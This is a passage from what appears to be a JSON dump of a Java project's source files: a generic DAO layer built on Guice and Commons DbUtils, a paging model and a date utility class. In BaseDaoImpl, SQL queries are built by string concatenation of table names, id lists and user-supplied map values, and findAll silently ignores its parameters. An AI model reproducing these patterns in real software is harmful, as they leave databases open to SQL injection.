    "content": "package com.jun.plugin.servlet.guice.core.db;\n\n\nimport java.lang.reflect.ParameterizedType;\nimport java.lang.reflect.Type;\n\n/**\n * 反射工具类\n */\n@SuppressWarnings(\"unchecked\")\npublic final class ReflectUtils {\n\t\n\t/**\n\t * 获得超类的参数类型，取第一个参数类型\n\t * @param <T> 类型参数\n\t * @param clazz 超类类型\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static <T> Class<T> getClassGenricType(final Class clazz) {\n\t\treturn getClassGenricType(clazz, 0);\n\t}\n\t\n\t/**\n\t * 根据索引获得超类的参数类型\n\t * @param clazz 超类类型\n\t * @param index 索引\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Class getClassGenricType(final Class clazz, final int index) {\n\t\tType genType = clazz.getGenericSuperclass();\n\t\tif (!(genType instanceof ParameterizedType)) {\n\t\t\treturn Object.class;\n\t\t}\n\t\tType[] params = ((ParameterizedType)genType).getActualTypeArguments();\n\t\tif (index >= params.length || index < 0) {\n\t\t\treturn Object.class;\n\t\t}\n\t\tif (!(params[index] instanceof Class)) {\n\t\t\treturn Object.class;\n\t\t}\n\t\treturn (Class) params[index];\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/dao/BaseDao.java",
    "content": "package com.jun.plugin.servlet.guice.core.db.dao;\n\nimport java.io.Serializable;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.google.inject.ImplementedBy;\nimport com.jun.plugin.servlet.guice.core.db.dao.impl.BaseDaoImpl;\nimport com.jun.plugin.servlet.guice.core.db.model.Page;\n\n@ImplementedBy(BaseDaoImpl.class)\npublic interface BaseDao<T, ID extends Serializable> {\n\n\t/**\n\t * 添加\n\t * \n\t * @param sql\n\t * @param params\n\t * @throws SQLException\n\t */\n\tvoid add(String sql, Object params[]) throws SQLException;\n\n\t/**\n\t * 批量添加\n\t * \n\t * @param sql\n\t * @param params\n\t */\n\tvoid batchAdd(String sql, Object[][] params) throws SQLException;\n\t\n\t/**\n\t * 根据sql删除数据\n\t * @param sql\n\t * @param params\n\t * @throws SQLException\n\t */\n\tvoid del(String sql,  Object params[]) throws SQLException;\n\t\n\t\n\t/**\n\t * 更新接口\n\t * @param sql\n\t * @param params\n\t * @throws SQLException\n\t */\n\tvoid update(String sql,Object params[]) throws SQLException;\n\t\n\t\n\t/**\n\t *  通用查询接口\n\t * @param sql\n\t * @param params\n\t * @return\n\t * @throws SQLException\n\t */\n\tList<T> findAll(String sql,Object params[]) throws SQLException;\n\n\t\n\t\n\t/**\n\t * 根据id 集合查询数据\n\t * @param tableName\n\t * @param ids\n\t * @return\n\t * @throws SQLException\n\t */\n\tList<T> findByIds(String tableName,List<ID> ids) throws SQLException;\n\t\n\t\n\t/**\n\t * 根据表名与主键id查询单条数据\n\t * @param tableName\n\t * @param id\n\t * @return\n\t * @throws SQLException\n\t */\n\tT findById(String tableName,ID id) throws SQLException;\n\t\n\t\n\t/**\n\t * 删除当条数据\n\t * @param tableName\n\t * @param id\n\t * @throws SQLException\n\t */\n\tvoid delById(String tableName,ID id) throws SQLException;\n\t\n\t/**\n\t * 删除多条数据\n\t * @param tableName\n\t * @param ids\n\t * @throws SQLException\n\t */\n\tvoid delByIds(String tableName,List<ID> ids) throws SQLException;\n\t\n\t\n\t/**\n\t * 单表分页查询\n\t * @param tableName\n\t * @param offset\n\t * @param size\n\t * @param map\n\t * @return\n\t * @throws SQLException\n\t */\n\tPage<T> findByPage(String tableName,Integer offset, Integer size,Map<String, Object> map) throws SQLException;\n\t\n\t\n\t/**\n\t * 通过sql自定义分页相关\n\t * @param sql\n\t * @param countSql 总条数sql\n\t * @return\n\t */\n\tPage<T> findByPage(String sql,String countSql) throws SQLException;\n\t\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/dao/impl/BaseDaoImpl.java",
    "content": "package com.jun.plugin.servlet.guice.core.db.dao.impl;\n\nimport java.io.Serializable;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.ArrayHandler;\nimport org.apache.commons.dbutils.handlers.BeanHandler;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\nimport com.google.inject.Inject;\nimport com.google.inject.Singleton;\nimport com.jun.plugin.servlet.guice.core.db.ConnectionContext;\nimport com.jun.plugin.servlet.guice.core.db.ReflectUtils;\nimport com.jun.plugin.servlet.guice.core.db.dao.BaseDao;\nimport com.jun.plugin.servlet.guice.core.db.model.Page;\n\n@Singleton\npublic class BaseDaoImpl<T, ID extends Serializable> implements BaseDao<T, ID> {\n\n\tprotected Class<T> entityClass;\n\n\tpublic BaseDaoImpl() {\n\t\tentityClass = ReflectUtils.getClassGenricType(getClass());\n\t}\n\n\t@Inject\n\tprivate QueryRunner qr;\n\n\tprivate Connection getCon() {\n\t\treturn ConnectionContext.getInstance().getCon();\n\t}\n\n\t@Override\n\tpublic void add(String sql, Object[] params) throws SQLException {\n\t\tqr.update(getCon(), sql, params);\n\t}\n\n\t@Override\n\tpublic void batchAdd(String sql, Object[][] params) throws SQLException {\n\t\tif (null != params && params.length > 0) {\n\t\t\tqr.batch(getCon(), sql, params);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void del(String sql, Object[] params) throws SQLException {\n\t\tqr.update(getCon(), sql, params);\n\t}\n\n\t@Override\n\tpublic void update(String sql, Object[] params) throws SQLException {\n\t\tqr.update(getCon(), sql, params);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic List<T> findAll(String sql, Object[] params) throws SQLException {\n\t\tList<T> list = (List<T>) qr.query(getCon(), sql, new BeanListHandler(entityClass));\n\t\treturn list;\n\t}\n\n\t@Override\n\tpublic List<T> findByIds(String tableName, List<ID> ids) throws SQLException {\n\t\tif (ids == null || ids.size() == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tString idsStr = \"\";\n\t\tfor (ID id : ids) {\n\t\t\tidsStr += id + \",\";\n\t\t}\n\t\tidsStr = idsStr.substring(0, idsStr.length() - 1);\n\t\tString sql = \"select * from \" + tableName + \" where id in (\" + idsStr + \")\";\n\t\tSystem.out.println(sql);\n\t\treturn findAll(sql, null);\n\t}\n\n\t@Override\n\tpublic T findById(String tableName, ID id) throws SQLException {\n\t\tString sql = \"select * from \" + tableName + \" where id=?\";\n\t\tObject params[] = { id };\n\t\t@SuppressWarnings(\"deprecation\")\n\t\tT t = (T) qr.query(getCon(), sql, id, new BeanHandler(entityClass));\n\t\treturn t;\n\t}\n\n\t@Override\n\tpublic void delById(String tableName, ID id) throws SQLException {\n\t\tif (id == null) {\n\t\t\treturn;\n\t\t}\n\t\tT entity = this.findById(tableName, id);\n\t\tif (entity != null) {\n\t\t\tString sql = \"delete from \" + tableName + \" where id=?\";\n\t\t\tObject[] params = { id };\n\t\t\tdel(sql, params);\n\t\t}\n\t}\n\n\t@Override\n\tpublic void delByIds(String tableName, List<ID> ids) throws SQLException {\n\t\tif (ids == null || ids.size() == 0) {\n\t\t\treturn;\n\t\t}\n\t\tString idsStr = \"\";\n\t\tfor (ID id : ids) {\n\t\t\tidsStr += id + \",\";\n\t\t}\n\t\tidsStr = idsStr.substring(0, idsStr.length() - 1);\n\t\tString sql = \"delete from \" + tableName + \" where id in (\" + idsStr + \")\";\n\t\tdel(sql, null);\n\t}\n\n\t@Override\n\tpublic Page<T> findByPage(String tableName, Integer offset, Integer size, Map<String, Object> map)\n\t\t\tthrows SQLException {\n\t\tif (offset == null || size == null || offset < 0 || size < 1) {\n\t\t\treturn Page.build(new ArrayList<T>(), 0L);\n\t\t}\n\t\tString countSql=\"select count(1) as count from \" + tableName;\n\t\tLong total = count(countSql, offset, size, map);\n\t\tif (total == 0L) {\n\t\t\treturn Page.build(new ArrayList<T>(), 0L);\n\t\t}\n\t\tStringBuffer sbSql = new StringBuffer();\n\t\tsbSql.append(\"select * from \" + tableName);\n\t\tString sql = mapParams(offset, size, map, sbSql, true).toString();\n\t\tSystem.out.println(sql);\n\t\tList<T> lists = this.findAll(sql, null);\n\t\treturn Page.build(lists, total);\n\t}\n\n\tprotected Long count(String countSql, Integer offset, Integer size, Map<String, Object> map) {\n\t\tStringBuffer sbSql = new StringBuffer();\n\t\tsbSql.append(countSql);\n\t\tboolean flag = false;\n\t\tString sql = mapParams(offset, size, map, sbSql, flag).toString();\n\t\tSystem.out.println(sql);\n\t\ttry {\n\t\t\tObject[] list = qr.query(getCon(), sql, new ArrayHandler());\n\t\t\tif (list != null) {\n\t\t\t\treturn Long.valueOf(list[0] + \"\");\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn 0L;\n\t}\n\n\tprivate StringBuffer mapParams(Integer offset, Integer size, Map<String, Object> map, StringBuffer sbSql,\n\t\t\tboolean flag) {\n\t\tStringBuffer newsbSqlSb = new StringBuffer();\n\t\tif (map != null && map.size() > 0) {\n\t\t\tsbSql.append(\" where \");\n\t\t\tfor (Map.Entry<String, Object> entry : map.entrySet()) {\n\t\t\t\tString key = entry.getKey();\n\t\t\t\tObject obj = entry.getValue();\n\t\t\t\tif(obj instanceof String){\n\t\t\t\t\tString value=(String)obj;\n\t\t\t\t\tsbSql.append(key + \"= '\" + value + \"' \" + \" and \");\n\t\t\t\t}else{\n\t\t\t\t\tObject value = entry.getValue();\n\t\t\t\t\tsbSql.append(key + \"= \" + value + \"\" + \" and \");\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tSystem.out.println(\"key =\" + key + \" value = \" + obj.toString());\n\t\t\t}\n\t\t\tString newSbSql = sbSql.substring(0, sbSql.length() - 4);\n\t\t\tnewsbSqlSb.append(newSbSql);\n\t\t}\n\t\tif (flag == true) {\n\t\t\tnewsbSqlSb.append(\" limit \" + offset + \",\" + size);\n\t\t}\n\t\tif(newsbSqlSb==null || newsbSqlSb.length()==0){\n\t\t\treturn sbSql;\n\t\t}\n\t\treturn newsbSqlSb;\n\t}\n\n\t@Override\n\tpublic Page<T> findByPage(String sql,String countSql) throws SQLException {\n\t\tLong total = count(countSql, null, null, null);\n\t\tif (total == 0L) {\n\t\t\treturn Page.build(new ArrayList<T>(), 0L);\n\t\t}\n\t\tList<T> lists=this.findAll(sql, null);\n\t\treturn Page.build(lists, total);\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/db/model/Page.java",
    "content": "package com.jun.plugin.servlet.guice.core.db.model;\n\nimport java.util.List;\nimport java.io.Serializable;  \n \n/**\n * 对分页的基本数据进行一个简单的封装\n */\npublic class Page<T> implements Serializable{\n    /**\n     * 当前页返回数据列表\n     */\n    private List<T> results;\n\n    private Long totalCount;\n\n    public static <T> Page<T> build(List<T> results, Long totalCount) {\n        return new Page<T>().setResults(results).setTotalCount(totalCount);\n    }\n\n    public List<T> getResults() {\n        return results;\n    }\n\n    public Page<T> setResults(List<T> results) {\n        this.results = results;\n        return this;\n    }\n\n    public Long getTotalCount() {\n        return totalCount;\n    }\n\n    public Page<T> setTotalCount(Long totalCount) {\n        this.totalCount = totalCount;\n        return this;\n    }\n \n}"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/util/date/DateUtil.java",
    "content": "package com.jun.plugin.servlet.guice.core.util.date;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\n\npublic class DateUtil {\n\tpublic static final String yyyyMM = \"yyyyMM\";\n\tpublic static final String yyyyMMdd = \"yyyyMMdd\";\n\tpublic static final String yyyyMMddHHmm = \"yyyyMMddHHmm\";\n\tpublic static final String yyyyMMddHHmmss = \"yyyyMMddHHmmss\";\n\tpublic static final String HHmm = \"HHmm\";\n\tpublic static final String HHmmss = \"HHmmss\";\n\n\tpublic static final String yyyy_MM = \"yyyy-MM\";\n\tpublic static final String yyyy_MM_dd = \"yyyy-MM-dd\";\n\tpublic static final String yyyy_MM_dd_HH_mm = \"yyyy-MM-dd HH:mm\";\n\tpublic static final String yyyy_MM_dd_HH_mm_ss = \"yyyy-MM-dd HH:mm:ss\";\n\tpublic static final String HH_mm = \"HH:mm\";\n\tpublic static final String HH_mm_ss = \"HH:mm:ss\";\n\n\t/**\n\t * 格式化日期\n\t * \n\t * @param date\n\t * @param format\n\t * @return\n\t */\n\tpublic static String timeToString(java.util.Date date, String format) {\n\t\tString rString = \"\";\n\t\tif (null != date) {\n\t\t\tDateFormat dateFormat = new SimpleDateFormat(null == format ? yyyy_MM_dd_HH_mm_ss : format);\n\t\t\trString = dateFormat.format(date);\n\t\t}\n\t\treturn rString;\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMM\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMM(java.util.Date date) {\n\t\treturn timeToString(date, yyyyMM);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMMdd\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMMdd(java.util.Date date) {\n\t\treturn timeToString(date, yyyyMMdd);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMMddHHmm\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMMddHHmm(java.util.Date date) {\n\t\treturn timeToString(date, yyyyMMddHHmm);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMMddHHmmss\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMMddHHmmss(java.util.Date date) {\n\t\treturn timeToString(date, yyyyMMddHHmmss);\n\t}\n\n\t/**\n\t * 格式化日期 HHmm\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_HHmm(java.util.Date date) {\n\t\treturn timeToString(date, HHmm);\n\t}\n\n\t/**\n\t * 格式化日期 HHmmss\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_HHmmss(java.util.Date date) {\n\t\treturn timeToString(date, HHmmss);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM(java.util.Date date) {\n\t\treturn timeToString(date, yyyy_MM);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM-dd\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM_dd(java.util.Date date) {\n\t\treturn timeToString(date, yyyy_MM_dd);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM-dd HH:mm\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM_dd_HH_mm(java.util.Date date) {\n\t\treturn timeToString(date, yyyy_MM_dd_HH_mm);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM-dd HH:mm:ss\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM_dd_HH_mm_ss(java.util.Date date) {\n\t\treturn timeToString(date, yyyy_MM_dd_HH_mm_ss);\n\t}\n\n\t/**\n\t * 格式化日期 HH:mm\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_HH_mm(java.util.Date date) {\n\t\treturn timeToString(date, HH_mm);\n\t}\n\n\t/**\n\t * 格式化日期 HH:mm:ss\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String timeToString_HH_mm_ss(java.util.Date date) {\n\t\treturn timeToString(date, HH_mm_ss);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMM\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMM(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyyMM);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMMdd\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMMdd(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyyMMdd);\n\t}\n\n\t/**\n\t * 格式化日期 yyyyMMddHHmmss\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyyMMddHHmmss(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyyMMddHHmmss);\n\t}\n\n\t/**\n\t * 格式化日期 HHmm\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_HHmm(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), HHmm);\n\t}\n\n\t/**\n\t * 格式化日期 HHmmss\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_HHmmss(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), HHmmss);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyy_MM);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM-dd\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM_dd(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyy_MM_dd);\n\t}\n\n\t/**\n\t * 格式化日期 yyyy-MM-dd HH:mm:ss\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_yyyy_MM_dd_HH_mm_ss(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), yyyy_MM_dd_HH_mm_ss);\n\t}\n\n\t/**\n\t * 格式化日期 HH:mm\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_HH_mm(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), HH_mm);\n\t}\n\n\t/**\n\t * 格式化日期 HH:mm:ss\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static String timeToString_HH_mm_ss(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn timeToString(timestamp.getTimestamp(), HH_mm_ss);\n\t}\n\n\t/**\n\t * 字符串转时间\n\t * \n\t * @param dateStr\n\t *            时间字符串\n\t * @return\n\t */\n\tpublic static java.util.Date stringToTime(String dateStr) {\n\t\treturn stringToTime(dateStr, \"yyyy-MM-dd HH:mm:ss\");\n\t}\n\n\t/**\n\t * 字符串转时间\n\t * \n\t * @param dateStr\n\t *            时间字符串\n\t * @param format\n\t *            字符串格式 例 yyyy-MM-dd\n\t * @return\n\t */\n\tpublic static java.util.Date stringToTime(String dateStr, String format) {\n\t\tDateFormat dateFormat = new SimpleDateFormat(format);\n\t\tjava.util.Date date = null;\n\t\ttry {\n\t\t\tdate = dateFormat.parse(dateStr);\n\t\t} catch (ParseException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn date;\n\t}\n\n\t/**\n\t * java.security.Timestamp 转Date\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static java.sql.Date timestampToDate(java.security.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn null;\n\t\t}\n\t\treturn new java.sql.Date(timestamp.getTimestamp().getTime());\n\t}\n\n\t/**\n\t * java.sql.Timestamp 转Date\n\t * \n\t * @param timestamp\n\t * @return\n\t */\n\tpublic static java.sql.Date timestampToDate(java.sql.Timestamp timestamp) {\n\t\tif (null == timestamp) {\n\t\t\treturn null;\n\t\t}\n\t\treturn new java.sql.Date(timestamp.getTime());\n\t}\n\n\t/**\n\t * Date 转 java.sql.Timestamp\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static java.sql.Timestamp dateToSqlTimestamp(java.util.Date date) {\n\t\tif (null == date) {\n\t\t\treturn null;\n\t\t}\n\t\treturn new java.sql.Timestamp(date.getTime());\n\t}\n\t/*\n\t * public static java.security.Timestamp\n\t * datetampToSecurityTimestamp(java.util.Date date) { if(null==date) {\n\t * return null; } return new java.security.Timestamp(date, null); }\n\t */\n\n\t/**\n\t * 日期调控\n\t * \n\t * @param date\n\t *            日期\n\t * @param year\n\t *            数字为正表示增加多少年 为负减少多少年 0为不改变\n\t * @param month\n\t *            数字为正表示增加多少月 为负减少多少月 0为不改变\n\t * @param day\n\t *            数字为正表示增加多少日 为负减少多少日 0为不改变\n\t * @param hour\n\t *            数字为正表示增加多少小时 为负减少多少小时 0为不改变\n\t * @param minute\n\t *            数字为正表示增加多分钟 为负减少多少分钟 0为不改变\n\t * @param second\n\t *            数字为正表示增加多少秒 为负减少多少秒 0为不改变\n\t * @return\n\t */\n\tpublic static java.util.Date dateControl(java.util.Date date, int year, int month, int day, int hour, int minute,\n\t\t\tint second) {\n\t\tif (null == date) {\n\t\t\treturn null;\n\t\t}\n\t\tCalendar calendar = Calendar.getInstance();\n\t\tcalendar.setTime(date);\n\t\tcalendar.add(Calendar.YEAR, year);\n\t\tcalendar.add(Calendar.MONTH, month);\n\t\tcalendar.add(Calendar.DATE, day);\n\t\tcalendar.add(Calendar.HOUR, hour);\n\t\tcalendar.add(Calendar.MINUTE, minute);\n\t\tcalendar.add(Calendar.SECOND, second);\n\t\treturn calendar.getTime();\n\t}\n\n\t/**\n\t * 日期调控\n\t * \n\t * @param date\n\t *            日期\n\t * @param year\n\t *            数字为正表示增加多少年 为负减少多少年 0为不改变\n\t * @param month\n\t *            数字为正表示增加多少月 为负减少多少月 0为不改变\n\t * @param day\n\t *            数字为正表示增加多少日 为负减少多少日 0为不改变\n\t * @return\n\t */\n\tpublic static java.util.Date dateControlDate(java.util.Date date, int year, int month, int day) {\n\t\treturn dateControl(date, year, month, day, 0, 0, 0);\n\t}\n\n\t/**\n\t * 日期调控\n\t * \n\t * @param date\n\t *            日期\n\t * @param hour\n\t *            数字为正表示增加多少小时 为负减少多少小时 0为不改变\n\t * @param minute\n\t *            数字为正表示增加多分钟 为负减少多少分钟 0为不改变\n\t * @param second\n\t *            数字为正表示增加多少秒 为负减少多少秒 0为不改变\n\t * @return\n\t */\n\tpublic static java.util.Date dateControlTime(java.util.Date date, int hour, int minute, int second) {\n\t\treturn dateControl(date, 0, 0, 0, hour, minute, second);\n\t}\n\n\t/**\n\t * 功能描述：得到两个日期之间的相差天数\n\t * \n\t * @param date\n\t *            java.util.Date 日期\n\t * @param date1\n\t *            java.util.Date 日期\n\t * @return 返回相减后的日期\n\t */\n\tpublic static int dateControl(java.util.Date date, java.util.Date date1) {\n\t\treturn (int) ((date.getTime() - date1.getTime()) / (24 * 3600 * 1000));\n\t}\n\n\t/**\n\t * 计算两个日期相隔的天数\n\t * \n\t * @param firstString\n\t * @param secondString\n\t * @return\n\t */\n\tpublic static int dateControl(String starTtime, String endTime) {\n\t\tjava.util.Date firstDate = stringToTime(starTtime);\n\t\tjava.util.Date secondDate = stringToTime(endTime);\n\t\tint nDay = (int) ((secondDate.getTime() - firstDate.getTime()) / (24 * 60 * 60 * 1000));\n\t\treturn nDay;\n\t}\n\n\t/**\n\t * 取得指定月份的第一天\n\t * \n\t * @param strdate\n\t *            String 字符型日期\n\t * @return String yyyy-MM-dd 格式\n\t */\n\tpublic static java.util.Date getMonthBeginToDate(int year, int month) {\n\t\treturn stringToTime((year < 10 ? \"0\" + year : year) + \"-\" + (month < 10 ? \"0\" + month : month) + \"-01\",\n\t\t\t\t\"yyyy-MM-dd\");\n\t}\n\n\t/**\n\t * 取得指定日期的第一天\n\t */\n\tpublic static java.util.Date getMonthBeginToDate(java.util.Date date) {\n\t\treturn stringToTime(getMonthBeginToString(date), \"yyyy-MM-dd\");\n\t}\n\n\t/**\n\t * 取得指定月份的第一天\n\t * \n\t * @param strdate\n\t *            String 字符型日期\n\t * @return String yyyy-MM-dd 格式\n\t */\n\tpublic static String getMonthBeginToString(int year, int month) {\n\t\treturn (year < 10 ? \"0\" + year : year) + \"-\" + (month < 10 ? \"0\" + month : month) + \"-01\";\n\t}\n\n\t/**\n\t * 取得指定时间的该月份的第一天\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String getMonthBeginToString(java.util.Date date) {\n\t\treturn timeToString_yyyy_MM(date) + \"-01\";\n\t}\n\n\t/**\n\t * 取得指定日期的最后一天\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static java.util.Date getMonthEndToDate(int year, int month) {\n\n\t\treturn stringToTime(getMonthEndToString(year, month), \"yyyy-MM-dd\");\n\t}\n\n\t/**\n\t * 取得指定日期的最后一天\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static java.util.Date getMonthEndToDate(java.util.Date date) {\n\t\treturn stringToTime(getMonthEndToString(date), \"yyyy-MM-dd\");\n\t}\n\n\t/**\n\t * 取得指定月份的最后一天\n\t * \n\t * @param strdate\n\t *            String 字符型日期\n\t * @return String 日期字符串 yyyy-MM-dd格式\n\t */\n\tpublic static String getMonthEndToString(int year, int month) {\n\t\tjava.util.Date da = stringToTime(\n\t\t\t\t(year < 10 ? \"0\" + year : year) + \"-\" + (month < 10 ? \"0\" + month : month) + \"-01\");\n\t\treturn getMonthEndToString(da);\n\t}\n\n\t/**\n\t * 取得指定日期的当月的最后一天\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static String getMonthEndToString(java.util.Date date) {\n\t\tString rString = \"\";\n\t\tif (null != date) {\n\t\t\tCalendar calendar = Calendar.getInstance();\n\t\t\tcalendar.setTime(date);\n\t\t\tcalendar.set(Calendar.DATE, 1);\n\t\t\tcalendar.add(Calendar.MONTH, +1);\n\t\t\tcalendar.add(Calendar.DATE, -1);\n\t\t\trString = timeToString_yyyy_MM_dd(calendar.getTime());\n\t\t}\n\t\treturn rString;\n\t}\n\n\t/**\n\t * 判断当前时间是否在指定日期内\n\t * \n\t * @param starttime\n\t * @param endtime\n\t * @param isMinute(是否带时分秒)\n\t * @return\n\t */\n\tpublic static boolean dateisNowBetweenDates(String startTime, String endTime, boolean isMinute) {\n\t\treturn dateisNowBetweenDates(new java.util.Date(), startTime, endTime, isMinute);\n\t}\n\n\t/**\n\t * 判断指定时间是否在指定日期内\n\t * \n\t * @param date\n\t * @param starttime\n\t * @param endtime\n\t * @param isMinute(是否带时分秒)\n\t * @return\n\t */\n\tpublic static boolean dateisNowBetweenDates(String data, String startTime, String endTime, boolean isMinute) {\n\t\treturn dateisNowBetweenDates(stringToTime(data), startTime, endTime, isMinute);\n\t}\n\n\t/**\n\t * 判断指定时间是否在指定日期内\n\t * \n\t * @param date\n\t * @param starttime\n\t * @param endtime\n\t * @param isMinute(是否带时分秒)\n\t * @return\n\t */\n\tpublic static boolean dateisNowBetweenDates(java.util.Date data, String startTime, String endTime,\n\t\t\tboolean isMinute) {\n\t\tjava.util.Date sT = null;// 起始时间\n\t\tjava.util.Date eT = null;// 终止时间\n\t\tif (isMinute) {\n\t\t\tsT = stringToTime(startTime + \" 00:00:01\");\n\t\t\teT = stringToTime(endTime + \" 23:59:59\");\n\t\t} else {\n\t\t\tsT = stringToTime(startTime);\n\t\t\teT = stringToTime(endTime);\n\t\t}\n\t\tCalendar scalendar = Calendar.getInstance();\n\t\tscalendar.setTime(sT);// 起始时间\n\t\tCalendar ecalendar = Calendar.getInstance();\n\t\tecalendar.setTime(eT);// 终止时间\n\t\tCalendar calendarnow = Calendar.getInstance();\n\t\tcalendarnow.setTime(data);\n\t\treturn calendarnow.after(scalendar) && calendarnow.before(ecalendar);\n\t}\n\n\t/**\n\t * 判断日期是否在指定日期之后 (date是否在date2之后)\n\t * \n\t * @param date\n\t * @param date2\n\t * @return\n\t */\n\tpublic static boolean dateisAfter(String date, String date2) {\n\t\tjava.util.Date sT = stringToTime(date);\n\t\tjava.util.Date eT = stringToTime(date2);\n\t\treturn sT.after(eT);\n\t}\n\n\t/**\n\t * 判断日期是否在指定日期之前 (date是否在date2之前)\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static boolean dateisBefore(String date, String date2) {\n\t\tjava.util.Date sT = stringToTime(date);\n\t\tjava.util.Date eT = stringToTime(date2);\n\t\treturn sT.before(eT);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/util/encryption/des/DESUtil.java",
